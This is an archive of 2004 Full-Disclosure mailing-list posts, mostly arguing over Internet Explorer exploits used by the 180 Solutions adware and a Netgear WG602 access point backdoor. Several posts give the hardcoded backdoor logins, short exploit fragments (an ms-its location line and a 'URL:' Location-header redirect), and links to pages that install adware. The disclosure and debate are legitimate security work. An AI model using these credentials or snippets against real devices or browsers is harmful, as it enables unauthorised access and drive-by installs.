|| has. Because its not so easy.

what are you talking about? the only reason jelner is even looking at
these vulnerabilities are because rafel ivgi posted about them on NtBugtraQ
and even said they were affecting patched users.

- --> 180 Solutions Exploits and Toolbars Hacking Patched Users(I.E Exploits)
<--

http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0406&L=ntbugtraq&F=P&S=&P=844

why cant you just step forward and show your true colors? you are not
trying to be security researchers, you are just having fun finding vulnerabilities
and pissing on everybody else. no shame in that, just admit it. its fun
to exploit people and kick microsoft in the crotch but it has nothing
to do with helping anyone.


||ctor
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkDGmSAACgkQIfxDSqSK35zk4ACgu6yvxUvcOk2mgp1rub9jcq80YqwA
njGseIEU9DW0H7gdlc7vX5DlGBRT
=WGrU
-----END PGP SIGNATURE-----




Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
https://www.hushmail.com/services.php?subloc=messenger&l=434

Promote security and make money with the Hushmail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427



From jj at carmunity.de  Tue Jun  8 06:32:38 2004
From: jj at carmunity.de (Jan Jungnickel)
Date: Tue, 8 Jun 2004 07:32:38 +0200
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <40C264DB.5000302@athensgroup.com>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040603220313.GB2307@lupe-christoph.de> <40C264DB.5000302@athensgroup.com>
Message-ID: <20040608053238.GA5020@controlling.carmunity.de>

On Sat, Jun 05, 2004 at 07:27:07PM -0500, James Garrison wrote:

> My WG602v2 with firmware 2.0RC5 does not appear to be vulnerable.
> I cannot login with the super/5777364 combination.

Netgear has 'fixed' this by changing the username and password
to something else. 

-- 
carmunity.com GmbH              Mary-Astell-Strasse 2
Jan Jungnickel                  28359 Bremen
Telefon: +49-421-6265-110       E-Mail: jj at carmunity.de
Telefax: +49-421-6265-100       http://www.carmunity.de/
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 3703 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/24212fed/attachment.bin 

From chris at compucounts.com  Tue Jun  8 06:45:29 2004
From: chris at compucounts.com (Chris Carlson)
Date: Tue, 8 Jun 2004 07:45:29 +0200
Subject: [sb] RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
Message-ID: <000001c44d1b$ce934430$0100a8c0@hubercomp.local>

When run remotely:

Line: 1
Char: 1
Error: Access is denied.
Code: 0
URL: http://62.131.86.111/security/idiots/repro/installer.htm

When run locally, software installation is blocked. 

Using IE 6.0.2900.2096 SP2, WinXP SP2

I've gotta say that SP2 has some VERY nice protection builtin.  On the downside, I still havn't figured out how to turn it off ;)

> -----Original Message-----
> From: full-disclosure-admin at lists.netsys.com 
> [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Jelmer
> Sent: Sunday, June 06, 2004 21:22
> To: bugtraq at securityfocus.com
> Cc: full-disclosure at lists.netsys.com; peter at diplomatmail.net
> Subject: [Full-Disclosure] Internet explorer 6 execution of 
> arbitrary code (An analysis of the 180 Solutions Trojan)
> 
> Just when I though it was save to once?more?use internet 
> explorer I received an?email bringing my attention to this 
> webpage http://216.130.188.219/ei2/installer.htm ? that 
> according to him used an exploit that affected fully patched 
> internet explorer 6 browsers. Being rather skeptical I 
> carelessly clicked on the link only to witness how it 
> automatically installed addware on my pc!!!
> ?
> Now there had been reports about 0day exploits making rounds 
> for quite some time like for instance this post
> ?
> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 
> ?
> However I hadn't seen any evidence to support this up until 
> now Thor Larholm as usual added to the confusion by 
> deliberately spreading disinformation as seen in this post
> ?
> http://seclists.org/lists/bugtraq/2004/May/0153.html
> ?
> Attributing it to and I quote "just one of the remaining IE 
> vulnerabilities that are not yet patched"
> 
> I've attempted to write up an analysis that will show that 
> there are at least 2 new and AFAIK unpublished 
> vulnerabilities (feel free to proof me
> wrong) out there in the wild, one being fairly sophisticated 
> 
> You can view it at:
> 
> http://62.131.86.111/analysis.htm
> 
> Additionally you can view a harmless demonstration of the 
> vulnerabilities at
> 
> http://62.131.86.111/security/idiots/repro/installer.htm
> 
> Finally I also attached the source files to this message
> 
> 

-- 
 Sie haben den Sicherheitsboten abonniert.
 http://sicherheitsbote.net






From pera at ampersize.org  Tue Jun  8 09:05:56 2004
From: pera at ampersize.org (pera at ampersize.org)
Date: Tue,  8 Jun 2004 10:05:56 +0200
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <20040608053238.GA5020@controlling.carmunity.de>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040603220313.GB2307@lupe-christoph.de> <40C264DB.5000302@athensgroup.com> <20040608053238.GA5020@controlling.carmunity.de>
Message-ID: <1086681956.40c573644021f@janitor.xynis.net>

>Netgear has 'fixed' this by changing the username and password
>to something else. 

I heard the username has been changed to "superman" with the 
password "21241036". I wonder whose phone number THIS is...

- Pera





From jj at carmunity.de  Tue Jun  8 09:18:20 2004
From: jj at carmunity.de (Jan Jungnickel)
Date: Tue, 8 Jun 2004 10:18:20 +0200
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <1086681956.40c573644021f@janitor.xynis.net>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040603220313.GB2307@lupe-christoph.de> <40C264DB.5000302@athensgroup.com> <20040608053238.GA5020@controlling.carmunity.de> <1086681956.40c573644021f@janitor.xynis.net>
Message-ID: <20040608081820.GF5888@controlling.carmunity.de>

On Tue, Jun 08, 2004 at 10:05:56AM +0200, pera at ampersize.org wrote:

> >Netgear has 'fixed' this by changing the username and
> >password to something else. 
> I heard the username has been changed to "superman" with the
> password "21241036". I wonder whose phone number THIS is...

Precisely. I'm pretty stunned by this blatant example of
stupidity :/

-- 
carmunity.com GmbH              Mary-Astell-Strasse 2
Jan Jungnickel                  28359 Bremen
Telefon: +49-421-6265-110       E-Mail: jj at carmunity.de
Telefax: +49-421-6265-100       http://www.carmunity.de/
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 3703 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/b5d55ddb/attachment.bin 

From reitenba at fh-brandenburg.de  Tue Jun  8 09:32:43 2004
From: reitenba at fh-brandenburg.de (die tuere)
Date: Tue, 8 Jun 2004 10:32:43 +0200
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <1086681956.40c573644021f@janitor.xynis.net>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040608053238.GA5020@controlling.carmunity.de> <1086681956.40c573644021f@janitor.xynis.net>
Message-ID: <200406081032.45662.reitenba@fh-brandenburg.de>

On Tuesday 08 June 2004 10:05, pera at ampersize.org wrote:
> full-disclosure at lists.netsys.com
I heard the username has been changed to "superman" with the 
password "21241036". I wonder whose phone number THIS is...

maybe it's supermans phone number, or just pick up the phone and hit in those 
numbers ;)

buzz



From christoph.gruber at wave-solutions.com  Tue Jun  8 09:39:46 2004
From: christoph.gruber at wave-solutions.com (Christoph Gruber)
Date: Tue, 8 Jun 2004 10:39:46 +0200
Subject: [Full-Disclosure] another new worm submission
In-Reply-To: <OF9E2E1B67.E5A77F18-ONC1256EAC.00422446-C1256EAC.00427E2E@wave-solutions.com>
Message-ID: <OF01F5B98D.37EB6787-ONC1256EAD.002F80BF-C1256EAD.002F9417@wave-solutions.com>

but I forgot to attach it:



-- 
Christoph Gruber, Senior Security Architect
WAVE Solutions Information Technology GmbH 
Nordbergstrasse 13, A - 1090 Wien, Austria
christoph.gruber at wave-solutions.com
Office: +43 1 71730 53514, Mobile: +43 664 81 22 66 1
PGP-Fingerprint: CCFF 5D66 7073 952C 7AB3  C2DF 435A C85C 558E D42B

full-disclosure-admin at lists.netsys.com schrieb am 07.06.2004 14:06:21:

> 
> -----BEGIN PGP SIGNED MESSAGE----- 
> Hash: SHA1 
> 
> Josh wrote 04.06.2004 21:11:26: 
> 
> > http://www.detroit-x.com/analysis.htm 
> > 
> > This is something we found this morning. I have packet captures 
> > that I will post. 
> > I have attached the infected files found with FPORT and also 
> > registry entries. 
> > 
> > We found this rebooting machines with the LSASS.exe error similar 
> > to Sasser. As of 6/4/2004 we found no virus defs to pick it up. 
> > 
> > 
> > Joshua Perrymon 
> > Sr. Network Security Consultant 
> 
> Hi there! 
> 
> There is another Registry-entry: 
> 
> 
> Cheers! 
> 
> - -- 
> Christoph Gruber, Senior Security Architect 
> WAVE Solutions Information Technology GmbH 
> Nordbergstrasse 13, A - 1090 Wien, Austria 
> christoph.gruber at wave-solutions.com 
> Office: +43 1 71730 53514, Mobile: +43 664 81 22 66 1 
> PGP-Fingerprint: CCFF 5D66 7073 952C 7AB3  C2DF 435A C85C 558E D42B 
> 
> 
> -----BEGIN PGP SIGNATURE----- 
> Version: PGP 8.0.3 
> 
> iQA/AwUBQMRaFkNayFxVjtQrEQKmYwCg4ufJbS1o/5/C73FUSzBQ+D77OXsAoMLD 
> 82mFBEHVI5D0bGtwTIoLQx9G 
> =SKaL 
> -----END PGP SIGNATURE-----
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/50cc6171/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: reg1.reg
Type: application/octet-stream
Size: 268 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/50cc6171/attachment.obj 

From christoph.gruber at wave-solutions.com  Tue Jun  8 10:46:25 2004
From: christoph.gruber at wave-solutions.com (Christoph Gruber)
Date: Tue, 8 Jun 2004 11:46:25 +0200
Subject: [Full-Disclosure] another new worm submission
In-Reply-To: <OF01F5B98D.37EB6787-ONC1256EAD.002F80BF-C1256EAD.002F9417@wave-solutions.com>
Message-ID: <OFAA876F09.4F1CC7A7-ONC1256EAD.00359F8C-C1256EAD.0035AE42@wave-solutions.com>

many virusfilters filter *.reg files, so here the TXT version:



-- 
Christoph Gruber, Security WAT1SE
WAVE Solutions Information Technology GmbH 
Nordbergstrasse 13, A - 1090 Wien, Austria
christoph.gruber at wave-solutions.com
Office: +43 1 71730 53514, Mobile: +43 664 81 22 66 1
PGP-Fingerprint: CCFF 5D66 7073 952C 7AB3  C2DF 435A C85C 558E D42B

full-disclosure-admin at lists.netsys.com schrieb am 08.06.2004 10:39:46:

> 
> but I forgot to attach it: 
> 
> 
> 
> -- 
> Christoph Gruber, Senior Security Architect
> WAVE Solutions Information Technology GmbH 
> Nordbergstrasse 13, A - 1090 Wien, Austria
> christoph.gruber at wave-solutions.com
> Office: +43 1 71730 53514, Mobile: +43 664 81 22 66 1
> PGP-Fingerprint: CCFF 5D66 7073 952C 7AB3  C2DF 435A C85C 558E D42B 
> 
> full-disclosure-admin at lists.netsys.com schrieb am 07.06.2004 14:06:21:
> 
> > 
> > -----BEGIN PGP SIGNED MESSAGE----- 
> > Hash: SHA1 
> > 
> > Josh wrote 04.06.2004 21:11:26: 
> > 
> > > http://www.detroit-x.com/analysis.htm 
> > > 
> > > This is something we found this morning. I have packet captures 
> > > that I will post. 
> > > I have attached the infected files found with FPORT and also 
> > > registry entries. 
> > > 
> > > We found this rebooting machines with the LSASS.exe error similar 
> > > to Sasser. As of 6/4/2004 we found no virus defs to pick it up. 
> > > 
> > > 
> > > Joshua Perrymon 
> > > Sr. Network Security Consultant 
> > 
> > Hi there! 
> > 
> > There is another Registry-entry: 
> > 
> > 
> > Cheers! 
> > 
> > - -- 
> > Christoph Gruber, Senior Security Architect 
> > WAVE Solutions Information Technology GmbH 
> > Nordbergstrasse 13, A - 1090 Wien, Austria 
> > christoph.gruber at wave-solutions.com 
> > Office: +43 1 71730 53514, Mobile: +43 664 81 22 66 1 
> > PGP-Fingerprint: CCFF 5D66 7073 952C 7AB3  C2DF 435A C85C 558E D42B 
> > 
> > 
> > -----BEGIN PGP SIGNATURE----- 
> > Version: PGP 8.0.3 
> > 
> > iQA/AwUBQMRaFkNayFxVjtQrEQKmYwCg4ufJbS1o/5/C73FUSzBQ+D77OXsAoMLD 
> > 82mFBEHVI5D0bGtwTIoLQx9G 
> > =SKaL 
> > -----END PGP SIGNATURE-----[Anhang "reg1.reg" gel?scht von 
> Christoph Gruber/DSI/AT] 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/58db03bb/attachment.html 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: reg1.reg.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/58db03bb/attachment.txt 

From rtoren at futures-inc.com  Tue Jun  8 13:12:22 2004
From: rtoren at futures-inc.com (Rip Toren)
Date: Tue,  8 Jun 2004 08:12:22 -0400
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <20040608081820.GF5888@controlling.carmunity.de>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040603220313.GB2307@lupe-christoph.de> <40C264DB.5000302@athensgroup.com> <20040608053238.GA5020@controlling.carmunity.de> <1086681956.40c573644021f@janitor.xynis.net> <20040608081820.GF5888@controlling.carmunity.de>
Message-ID: <1086696741.40c5ad2601961@webmail.futures-inc.com>

Quoting Jan Jungnickel <jj at carmunity.de>:

> On Tue, Jun 08, 2004 at 10:05:56AM +0200, pera at ampersize.org wrote:
> 
> > >Netgear has 'fixed' this by changing the username and
> > >password to something else. 
> > I heard the username has been changed to "superman" with the
> > password "21241036". I wonder whose phone number THIS is...
> 
> Precisely. I'm pretty stunned by this blatant example of
> stupidity :/
> 
> -- 
> carmunity.com GmbH              Mary-Astell-Strasse 2
> Jan Jungnickel                  28359 Bremen
 <<snip>>

  Depending upon how the account name and password are stored, this might have been as
simple as a binary edit of the firmware, with some checksum cleanup. Unfortunately, it
would only take a couple of hours to completely hide any literal values from a 'strings'
search.

  Even if another firmware is released, and it shows no strings; can it be assured that
the account data has not just been hidden. This might also mean that the V2 product is
also compromised, but with masked account data... who knows?

  Since they seem to have demonstrated a corporate commitment to 'backdoor' their product;
it might be time to find a more customer friendly supplier. At least until the is some
public statement by NetGear about the situation.

   I care, I used one of these; until 10 minutes ago.

-- 
Rip Toren
Senior Information Assurance Engineer
Futures Inc.
email: rtoren at futures-inc.com
website:  http://www.futures-inc.com



-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/



From cm at coretec.at  Tue Jun  8 15:04:38 2004
From: cm at coretec.at (Cm)
Date: Tue, 08 Jun 2004 15:04:38 +0100
Subject: [Full-Disclosure] Incoming message
Message-ID: <xdhhkrbjnqcmpttzkhm@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/297d9212/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Alive_condom.cpl
Type: application/octet-stream
Size: 22072 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/297d9212/attachment.obj 

From bonemach at sdf.lonestar.org  Tue Jun  8 14:29:22 2004
From: bonemach at sdf.lonestar.org (BoneMachine)
Date: Tue, 8 Jun 2004 13:29:22 GMT
Subject: [sb] RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
Message-ID: <200406081329.i58DTML5008752@sdf.lonestar.org>

Hi Jelmer, 
I've read your analysis of the trojan of 180  solutions and noticed the statement that this issue uses two zero day exploits.
I'm trying to monitor and register IE vulnerabilities and have a strong feeling I've seen the Location header execution before. 
Just to be sure, are you aware that:
- Liu Die Yu discards the local protocol issue as a refresh issue:
http://www.safecenter.net/UMBRELLAWEBV4/IredirNrefresh/IredirNrefresh-MyPage.htm
- Roozbeh Afrasiabi created a paper about vulnerabilities in IE. One of the vulnerabilities uses the following statement in the example code :
target.location="ms-its:\\ntshared.chm::/copyright.htm";
The posting to bugtraq can be found at : http://archives.neohapsis.com/archives/bugtraq/2004-05/0109.html

To me these issues and your URL: issue seem the same and afaik no patches for these issues had been provided. 

Can you proof me wrong?

vriendelijke groet
Bone Machine

---
"hip hip hip" - The Pixies



From Mike at MichaelEvanchik.com  Tue Jun  8 14:28:44 2004
From: Mike at MichaelEvanchik.com (Michael Evanchik)
Date: Tue, 8 Jun 2004 09:28:44 -0400
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
References: <000001c44c2d$d33df9b0$3200000a@alex> <40C4D447.9040203@linuxbox.org>
Message-ID: <012201c44d5c$8584cf20$6702a8c0@AlanPickel.com>

Although this ms-its exploit has been around ,the true author of finding this is an UNKNOWN author.  I remember when it was _reported_ by Thor but he did not take credit.  As for it being 0-day.  It sure is.  None of microsofts's patches stop it nor did Norton AntiVirus Corp.  I have no idea who you are Gadi to give such comments like that.

Michael Evanchik

www.MichaelEvanchik.com 
  ----- Original Message ----- 
  From: Gadi Evron 
  To: Jelmer 
  Cc: bugtraq at securityfocus.com ; full-disclosure at lists.netsys.com ; peter at diplomatmail.net 
  Sent: Monday, June 07, 2004 4:47 PM
  Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)


  Comments inline.

  Jelmer wrote:

  > Just when I though it was save to once more use internet explorer I received
  > an email bringing my attention to this webpage
  > http://216.130.188.219/ei2/installer.htm   that according to him used an
  > exploit that affected fully patched internet explorer 6 browsers. Being
  > rather skeptical I carelessly clicked on the link only to witness how it
  > automatically installed addware on my pc!!!

  So, you just clicked on the link which was reported as unsafe, did you? :)

  Those protocol handlers always seem to cause problems and it's not just 
  on Windows, Apple has had just as many problems in dealing with these 
  for OS X. If it's not a lack of input validation then it is a lack of 
  zone restrictions, perhaps the entire concept of higher privileged zones 
  of any kind should be abandoned.

  Are these really new vulnerabilities or just variants of old? The 
  "Location: URL:" proxy really just looks like the "Location: File:" 
  proxy that Liu Die Yu reported and the object caching stuff really just 
  looks like a variation of the advisories from GreyMagic back in 2002 
  with the showModalDialog caching and javascript: injection. Other than 
  those 2, the only real vulnerability on the page is the Ibiza chm stuff 
  which still works on plenty of fully patched machines.

  > Now there had been reports about 0day exploits making rounds for quite some
  > time like for instance this post
  >  
  > http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 

  Why is this a 0-day? Are you trying to start a holy war here? Please 
  explain why this is a 0-day if you make such claims.

  > However I hadn't seen any evidence to support this up until now
  > Thor Larholm as usual added to the confusion by deliberately spreading
  > disinformation as seen in this post
  >  
  > http://seclists.org/lists/bugtraq/2004/May/0153.html

  Thor? Spreading disinformation?

  > Attributing it to and I quote "just one of the remaining IE vulnerabilities
  > that are not yet patched"

  That sounds about right.

  > I?ve attempted to write up an analysis that will show that there are at
  > least 2 new and AFAIK unpublished vulnerabilities (feel free to proof me
  > wrong) out there in the wild, one being fairly sophisticated 

  I, personally, appreciate any serious research work, but why put down a 
  colleague while you're at it?

  > You can view it at:
  > 
  > http://62.131.86.111/analysis.htm
  > 
  > Additionally you can view a harmless demonstration of the vulnerabilities at
  > 
  > http://62.131.86.111/security/idiots/repro/installer.htm
  > 
  > Finally I also attached the source files to this message

  If this really was a 0-day, isn't that a tad irresponsible?

  As to Thor...

  You are claiming that he is deliberately spreading disinformation, but 
  then you proceed to verify his claims.

  Are you sure you don't just have a personal vendetta against him?
  I don't see what's wrong with him pitching his product (Quik-Fix (?)) 
  when reporting his research. That's how the industry work.

  You do research and advertise the company that did it, and what solution 
  it offers.
  Working for free doesn't put food on the table and he has a product that 
  might actually protects against such issues. What's next, you will 
  complain about AV companies who say they detect a virus or security 
  researchers that get paid to work instead of living off the street 
  credit from the security mailing lists? Maybe you just don't like 
  companies of any kind.

  As to the research itself...

  Thor went through the hnc3k.com website and listed all the pages and 
  vulnerabilities on it, which sounds like an exhaustive task to me. But 
  didn't you do the same and when analyzing the 180 solutions Trojan 
  pages? It sounds pretty exhaustive as well.

  The difference is that Thor also told you how to protect against this, 
  by locking down the My Computer zone. I can't see anywhere that Thor was 
  referring to the object caching vulnerability you are listing as new. In 
  my mind, he was referring to the old Unpatched page that he used to 
  maintain and that would mean he said some of those are still not patched.

  I miss that page. It was very good.

  We know that Ibiza still works and that there are still problems with 
  the SSL certificate handling in IE, don't you think he was just 
  referring to those? From this side it really just looks as if you are 
  trying to deal a low blow against Mr. Larholm because you have some 
  personal grudge against him.

  I hope I provided you with information to re-think your claims. Also, 
  please try and keep your grudges to yourself where 50K plus busy people 
  need to sift through vital information?

  Gadi Evron.

  -- 
  Email: ge at linuxbox.org.  Work: gadie at cbs.gov.il. Backup: ge at warp.mx.dk.
  Phone: +972-50-428610 (Cell).

  PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
  ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104  C0D0 A7B3 1CF7 D921 6A06
  GPG key for encrypted email: 
  http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
  ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA  569A A87E 8DB7 06C7 D450

  _______________________________________________
  Full-Disclosure - We believe in it.
  Charter: http://lists.netsys.com/full-disclosure-charter.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/55415d78/attachment.html 

From jkuperus at planet.nl  Tue Jun  8 15:14:15 2004
From: jkuperus at planet.nl (Jelmer)
Date: Tue, 08 Jun 2004 16:14:15 +0200
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary
 code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <012201c44d5c$8584cf20$6702a8c0@AlanPickel.com>
Message-ID: <008701c44d62$e4ad6880$3200000a@alex>

This new exploit is unrelated to the ms-its exploit 

 

I could just as easily have done 

 

response.setHeader("Location", "URL:res://shdoclc.dll/HTTP_501.htm");

 

and there would be no ms-its protocol handler used in it, it's just a local
resource it loads , it could be a htm file a resource file, an ms-its file
whatever

 

 

-----Original Message-----
From: Michael Evanchik [mailto:Mike at MichaelEvanchik.com] 
Sent: dinsdag 8 juni 2004 15:29
To: Gadi Evron; Jelmer
Cc: bugtraq at securityfocus.com; full-disclosure at lists.netsys.com;
peter at diplomatmail.net
Subject: Re: [Full-Disclosure] Re: Internet explorer 6 execution of
arbitrary code (An analysis of the 180 Solutions Trojan)

 

Although this ms-its exploit has been around ,the true author of finding
this is an UNKNOWN author.  I remember when it was _reported_ by Thor but he
did not take credit.  As for it being 0-day.  It sure is.  None of
microsofts's patches stop it nor did Norton AntiVirus Corp.  I have no idea
who you are Gadi to give such comments like that.

 

Michael Evanchik

 

www.MichaelEvanchik.com 

----- Original Message ----- 

From: Gadi Evron <mailto:ge at linuxbox.org>  

To: Jelmer <mailto:jkuperus at planet.nl>  

Cc: bugtraq at securityfocus.com ; full-disclosure at lists.netsys.com ;
peter at diplomatmail.net 

Sent: Monday, June 07, 2004 4:47 PM

Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary
code (An analysis of the 180 Solutions Trojan)

 

Comments inline.

Jelmer wrote:

> Just when I though it was save to once more use internet explorer I
received
> an email bringing my attention to this webpage
> http://216.130.188.219/ei2/installer.htm   that according to him used an
> exploit that affected fully patched internet explorer 6 browsers. Being
> rather skeptical I carelessly clicked on the link only to witness how it
> automatically installed addware on my pc!!!

So, you just clicked on the link which was reported as unsafe, did you? :)

Those protocol handlers always seem to cause problems and it's not just 
on Windows, Apple has had just as many problems in dealing with these 
for OS X. If it's not a lack of input validation then it is a lack of 
zone restrictions, perhaps the entire concept of higher privileged zones 
of any kind should be abandoned.

Are these really new vulnerabilities or just variants of old? The 
"Location: URL:" proxy really just looks like the "Location: File:" 
proxy that Liu Die Yu reported and the object caching stuff really just 
looks like a variation of the advisories from GreyMagic back in 2002 
with the showModalDialog caching and javascript: injection. Other than 
those 2, the only real vulnerability on the page is the Ibiza chm stuff 
which still works on plenty of fully patched machines.

> Now there had been reports about 0day exploits making rounds for quite
some
> time like for instance this post
>  
> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 

Why is this a 0-day? Are you trying to start a holy war here? Please 
explain why this is a 0-day if you make such claims.

> However I hadn't seen any evidence to support this up until now
> Thor Larholm as usual added to the confusion by deliberately spreading
> disinformation as seen in this post
>  
> http://seclists.org/lists/bugtraq/2004/May/0153.html

Thor? Spreading disinformation?

> Attributing it to and I quote "just one of the remaining IE
vulnerabilities
> that are not yet patched"

That sounds about right.

> I've attempted to write up an analysis that will show that there are at
> least 2 new and AFAIK unpublished vulnerabilities (feel free to proof me
> wrong) out there in the wild, one being fairly sophisticated 

I, personally, appreciate any serious research work, but why put down a 
colleague while you're at it?

> You can view it at:
> 
> http://62.131.86.111/analysis.htm
> 
> Additionally you can view a harmless demonstration of the vulnerabilities
at
> 
> http://62.131.86.111/security/idiots/repro/installer.htm
> 
> Finally I also attached the source files to this message

If this really was a 0-day, isn't that a tad irresponsible?

As to Thor...

You are claiming that he is deliberately spreading disinformation, but 
then you proceed to verify his claims.

Are you sure you don't just have a personal vendetta against him?
I don't see what's wrong with him pitching his product (Quik-Fix (?)) 
when reporting his research. That's how the industry work.

You do research and advertise the company that did it, and what solution 
it offers.
Working for free doesn't put food on the table and he has a product that 
might actually protects against such issues. What's next, you will 
complain about AV companies who say they detect a virus or security 
researchers that get paid to work instead of living off the street 
credit from the security mailing lists? Maybe you just don't like 
companies of any kind.

As to the research itself...

Thor went through the hnc3k.com website and listed all the pages and 
vulnerabilities on it, which sounds like an exhaustive task to me. But 
didn't you do the same and when analyzing the 180 solutions Trojan 
pages? It sounds pretty exhaustive as well.

The difference is that Thor also told you how to protect against this, 
by locking down the My Computer zone. I can't see anywhere that Thor was 
referring to the object caching vulnerability you are listing as new. In 
my mind, he was referring to the old Unpatched page that he used to 
maintain and that would mean he said some of those are still not patched.

I miss that page. It was very good.

We know that Ibiza still works and that there are still problems with 
the SSL certificate handling in IE, don't you think he was just 
referring to those? From this side it really just looks as if you are 
trying to deal a low blow against Mr. Larholm because you have some 
personal grudge against him.

I hope I provided you with information to re-think your claims. Also, 
please try and keep your grudges to yourself where 50K plus busy people 
need to sift through vital information?

Gadi Evron.

-- 
Email: ge at linuxbox.org.  Work: gadie at cbs.gov.il. Backup: ge at warp.mx.dk.
Phone: +972-50-428610 (Cell).

PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104  C0D0 A7B3 1CF7 D921 6A06
GPG key for encrypted email: 
http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA  569A A87E 8DB7 06C7 D450

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040608/b122c843/attachment.html 

From ge at linuxbox.org  Tue Jun  8 16:52:11 2004
From: ge at linuxbox.org (Gadi Evron)
Date: Tue, 08 Jun 2004 17:52:11 +0200
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary
 code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <012201c44d5c$8584cf20$6702a8c0@AlanPickel.com>
References: <000001c44c2d$d33df9b0$3200000a@alex> <40C4D447.9040203@linuxbox.org> <012201c44d5c$8584cf20$6702a8c0@AlanPickel.com>
Message-ID: <40C5E0AB.60205@linuxbox.org>

Michael Evanchik wrote:

> Although this ms-its exploit has been around ,the true author of finding this is an UNKNOWN author.  I remember when it was _reported_ by Thor but he did not take credit.  As for it being 0-day.  It sure is.  None of microsofts's patches stop it nor did Norton AntiVirus Corp.  I have no idea who you are Gadi to give such comments like that.
> 
> Michael Evanchik

I am the guy who gave what information he has, and asked for 
clarifications on the 0-day issue.

Where Jelmer and I disagree is on dragging  personal issues and flames 
into the thread.

	Gadi.



From betheg at gmx.net  Tue Jun  8 16:00:28 2004
From: betheg at gmx.net (Michael Kurz)
Date: Tue, 08 Jun 2004 17:00:28 +0200
Subject: [Full-Disclosure] [CYSA-0329] Password recovery vulnerability
 in FoolProof Security 3.9.x for Windows 95/9
In-Reply-To: <200406042230.i54MUmv20169@netsys.com>
References: <200406042230.i54MUmv20169@netsys.com>
Message-ID: <40C5D48C.70805@gmx.net>

advisories at cyrillium.com schrieb:

>          hex_temp[2],    /* Temporary storage for hexadecimal conversion */
		   ^^^^
must be hex_temp[3]




From jeruvy at shaw.ca  Tue Jun  8 16:33:01 2004
From: jeruvy at shaw.ca (Jeruvy)
Date: Tue, 08 Jun 2004 09:33:01 -0600
Subject: [Full-Disclosure] RE: Multiple vulnerabilities PHP-Nuke
In-Reply-To: <BAY8-F36lnJ2IKkVmkL00064b31@hotmail.com>
Message-ID: <000001c44d6d$e6897a80$2002a8c0@alucxp1>

This does not apply to any site that has applied the security fixes
available for many, many months.  This is only affecting phpnuke.org
distro's, not any 'modified' or 'secured' distro, like betaNC, CPG-NUKE,
and others...

No additional patches dealing with these specifics below applied to
php-nuke 7.0 only the security patches.

